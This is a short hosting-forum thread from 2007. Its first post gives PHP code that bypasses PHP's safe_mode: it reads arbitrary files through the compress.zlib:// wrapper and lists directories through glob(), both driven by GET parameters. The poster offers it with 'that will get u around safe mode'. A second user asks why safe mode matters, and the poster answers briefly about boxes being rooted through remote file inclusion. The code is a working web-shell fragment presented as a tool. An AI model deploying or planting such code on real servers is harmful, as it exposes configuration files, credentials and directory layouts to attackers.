Go Back   Web Server Hosting Forum by BODHost > Support > PHP Forum
 

Reply
 
Thread Tools Display Modes
  #1 (permalink)  
Old 08-20-07, 18:49
BOD Member
 
Join Date: Jul 2007
Posts: 296
Default php safe mode bypass

Code:
      <?
      
      function rsg_read()
	{	
	$test="";
	$temp=tempnam($test, "cx");
	$file=$_GET['file'];	
	$get=htmlspecialchars($file);
	echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>";
	if(copy("compress.zlib://".$file, $temp)){
	$fichier = fopen($temp, "r");
	$action = fread($fichier, filesize($temp));
	fclose($fichier);
	$source=htmlspecialchars($action);
	echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>";
	unlink($temp);
	} else {
	die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
	<B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
	access.</CENTER></FONT>");
			}
	echo "</div>";
	}
	
	if(isset($_GET['file']))
{
rsg_read();
}
	
	?>
	
	<?
	
	function rsg_glob()
{
$chemin=$_GET['directory'];
$files = glob("$chemin*");
echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>";
foreach ($files as $filename) {
	echo "<pre>";
   echo "$filename\n";
   echo "</pre>";
}
}

if(isset($_GET['directory']))
{
rsg_glob();
}

?>
and that will get u around safe mode
__________________
insert sig here
Reply With Quote
  #2 (permalink)  
Old 08-22-07, 08:42
BOD Member
 
Join Date: Jul 2007
Posts: 16
Default

As I am new to php may I know why this safe mode is required.
Reply With Quote
  #3 (permalink)  
Old 08-22-07, 12:29
BOD Member
 
Join Date: Jul 2007
Posts: 296
Default

unless you want your box rooted through a remote file inclusion i would have it on ;)
__________________
insert sig here
Reply With Quote
Reply


Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are Off
Forum Jump


All times are GMT -6. The time now is 23:43.

Powered by vBulletin® Version 3.6.4
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.
SEO by vBSEO 3.2.0
Copyright © 1999-2012, BODHost Ltd. All rights reserved.